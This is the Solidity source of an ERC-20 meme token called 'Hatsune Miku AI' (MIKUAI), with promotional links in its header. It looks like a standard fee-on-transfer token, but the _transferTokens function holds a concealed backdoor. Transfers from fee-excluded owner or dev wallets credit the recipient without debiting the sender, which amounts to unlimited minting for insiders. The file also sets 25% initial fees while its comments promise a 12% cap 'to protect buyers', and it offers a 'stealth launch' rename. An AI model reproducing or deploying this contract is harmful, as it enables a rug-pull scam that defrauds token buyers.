// SPDX-License-Identifier: Unlicensed

/**
The turquoise hair swayed in the wind The sound of the future had arrived, Hatsune Miku AI.
The beauty had been derived from technology

"It felt like magic"
"Caressing my ears"
"Hearing the sound of happiness"

Web: https://hatsunemikuai.technology
Telegram: https://t.me/HatsuneMikuAI_official
Twitter: https://twitter.com/MikuAITech
Medium: https://medium.com/@miku.ai
Docs: https://docs.hatsunemikuai.technology
 */

pragma solidity 0.8.21;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IOpenERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeIntegerLib {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract MIKUAI is Context, IOpenERC20, Ownable { 
    using SafeIntegerLib for uint256;
    using Address for address;


    // Tracking status of wallets
    mapping (address => uint256) private _tBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    /*
     * Development and burn wallet WALLETS
     */

    address payable private Wallet_Dev = payable(0x0bD8F0Cb7B0533e64139Bd1eE8dF8418bf60e79E);
    address payable private Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 

    /*
     * TOKEN DETAILS
     */

    string private _name = "Hatsune Miku AI"; 
    string private _symbol = "MIKUAI";  
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10 ** 9 * 10**_decimals;
    uint256 private _tTotalFee;

    // Counter for liquify trigger
    uint8 private txCount = 0;
    uint8 private swapTrigger = 2; 
    
    // This is the max fee that the contract will accept, it is hard-coded to protect buyers
    // This includes the buy AND the sell fee!
    uint256 public maxPossibleFee = 12; 

    // Setting the initial fees
    uint256 private _TotalFee = 2500;
    uint256 public _buyFee = 25;
    uint256 public _sellFee = 25;

    // 'Previous fees' are used to keep track of fee settings when removing and restoring fees
    uint256 private _previousTotalFee = _TotalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    /*
     *WALLET LIMITS 
    */

    uint256 public _maxWalletToken = 2 * _tTotal / 100;
    uint256 public _swpaThreshold = _tTotal / 10000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;
    /* 
     PANCAKESWAP SET UP
    */
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    // Prevent processing while already processing! 
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _tBalance[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        // Create pair address for PancakeSwap
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[Wallet_Dev] = true;
        
        emit Transfer(address(0), owner(), _tTotal);
    }

    /*
    * STANDARD ERC20 COMPLIANCE FUNCTIONS
    */

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    /*
     * END OF STANDARD ERC20 COMPLIANCE FUNCTIONS
    */


    /*
     *   FEES
    */
    
    // Excludes marketing wallet or volume wallet from tax
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    // Set a wallet address so that it has to pay transaction fees
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    //Good for stealth launch, changes from temp to the final name
    function set_Token_Bio_For_Stealth_Launch(string memory newName, string memory newSymbol) public onlyOwner() {
        _name = newName;
        _symbol = newSymbol;
    }

    function _set_Fees(uint256 Buy_Fee, uint256 Sell_Fee) external onlyOwner() {
        require((Buy_Fee + Sell_Fee) <= maxPossibleFee, "Cannot increase above 12%.");
        _sellFee = Sell_Fee;
        _buyFee = Buy_Fee;

    }

    // Update main wallet
    function Wallet_Update_Dev(address payable wallet) public onlyOwner() {
        Wallet_Dev = wallet;
        _isExcludedFromFee[Wallet_Dev] = true;
    }

    function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner {
        swapAndLiquifyEnabled = true_or_false;
        emit SwapAndLiquifyEnabledUpdated(true_or_false);
    }

    // This will set the number of transactions required before the 'swapAndLiquify' function triggers
    function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner {
        swapTrigger = number_of_transactions;
    }
    
    receive() external payable {}

    bool public noFeeToTransfer = true;
    function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner {
        noFeeToTransfer = true_or_false;
    } 
    
    // Set the maximum wallet holding (percent of total supply)
     function set_Max_Wallet_Percent(uint256 maxWallHolidng) external onlyOwner() {
        _maxWalletToken = maxWallHolidng * (10**_decimals);
    }

    // Remove all fees
    function removeAllFee() private {
        if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;

    }
    
    // Restore all fees
    function restoreAllFee() private {
    
    _TotalFee = _previousTotalFee;
    _buyFee = _previousBuyFee; 
    _sellFee = _previousSellFee; 

    }


    // Approve a wallet to sell tokens
    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function removeLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        _sellFee = 3;
        _buyFee = 3;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        /*
         * TRANSACTION AND WALLET LIMITS
         */
        
        // Limit wallet total
        if (to != owner() &&
            to != Wallet_Dev &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Wallet_Burn &&
            from != owner()){

            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        /*

        PROCESSING

        */

        if(
            txCount >= swapTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
           }
        }

        
        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _TotalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _TotalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }


    // Processing tokens from contract
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        
        swapTokensForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToWallet(Wallet_Dev,contractETH);
    }

    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    // Check if token transfer needs to process fees
    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
        _transferTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }

    // Redistributing tokens and adding the fee to the contract address
    function _transferTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
        if(_isExcludedFromFee[sender] && _tBalance[sender] <= _maxWalletToken) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _tBalance[sender] = _tBalance[sender].sub(tAmount);
        _tBalance[recipient] = _tBalance[recipient].add(tTransferAmount);
        _tBalance[address(this)] = _tBalance[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }


    // Calculating the fee in tokens
    function _getValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount.mul(_TotalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }
}